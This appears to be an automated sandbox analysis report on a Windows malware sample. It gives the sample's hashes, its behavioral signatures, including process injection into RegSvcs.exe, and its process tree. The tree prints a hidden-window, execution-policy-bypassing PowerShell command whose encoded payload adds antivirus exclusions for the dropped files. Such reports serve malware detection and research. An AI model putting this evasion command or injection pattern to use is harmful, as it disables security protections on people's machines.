Analysis
-
max time kernel
149s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
02/06/2024, 01:05
Static task
static1
Behavioral task
behavioral1
Sample
1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe
Resource
win7-20240220-en
Behavioral task
behavioral2
Sample
1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe
Resource
win10v2004-20240508-en
General
-
Target
1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe
-
Size
627KB
-
MD5
f64ac2d52a86b86f08b6c4bdc2d443e8
-
SHA1
9268869f34ee1669642d8772273852789ec8fec9
-
SHA256
1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3
-
SHA512
b0ae630ff80b5277408c18a2d6bbd0c405ab370d0549607e3f3093feb1a1f9807fe4b6433d8b9fd5a4c6f105e7583c602594d356df7b5a6a15bc127fc20c7b9b
-
SSDEEP
12288:wSO9Dx9JGtrjUCb5O3GwrJdovetVZK/WNIc9MSuklCpNkkblz1JEV2PjC/64owCY:NOdJGhjXs3GwrYv9/WNjySudblrs2Pj8
Malware Config
Signatures
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 816 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4464 Parameters.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4464 set thread context of 3032 4464 Parameters.exe 97 -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 816 powershell.exe 816 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 5108 1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe Token: SeDebugPrivilege 816 powershell.exe Token: SeDebugPrivilege 4464 Parameters.exe Token: SeDebugPrivilege 3032 RegSvcs.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 4464 wrote to memory of 3032 4464 Parameters.exe 97 PID 4464 wrote to memory of 3032 4464 Parameters.exe 97 PID 4464 wrote to memory of 3032 4464 Parameters.exe 97 PID 4464 wrote to memory of 3032 4464 Parameters.exe 97 PID 4464 wrote to memory of 3032 4464 Parameters.exe 97 PID 4464 wrote to memory of 3032 4464 Parameters.exe 97 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe"C:\Users\Admin\AppData\Local\Temp\1de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5108
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlACwAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAgAC0ARgBvAHIAYwBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAE0AaQBjAHIAbwBzAG8AZgB0AC4ATgBFAFQAXABGAHIAYQBtAGUAdwBvAHIAawA2ADQAXAB2ADQALgAwAC4AMwAwADMAMQA5AFwAQQBkAGQASQBuAFAAcgBvAGMAZQBzAHMALgBlAHgAZQAsAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwASQBuAGQAZQB4AFwAUABhAHIAYQBtAGUAdABlAHIAcwAuAGUAeABlAA==1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:816
-
C:\Users\Admin\AppData\Roaming\Index\Parameters.exeC:\Users\Admin\AppData\Roaming\Index\Parameters.exe1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4464 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3032
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
627KB
MD5f64ac2d52a86b86f08b6c4bdc2d443e8
SHA19268869f34ee1669642d8772273852789ec8fec9
SHA2561de70ae6a465a3132c37a907f37be0410e6febd57eb5a02b26711ddab94a85c3
SHA512b0ae630ff80b5277408c18a2d6bbd0c405ab370d0549607e3f3093feb1a1f9807fe4b6433d8b9fd5a4c6f105e7583c602594d356df7b5a6a15bc127fc20c7b9b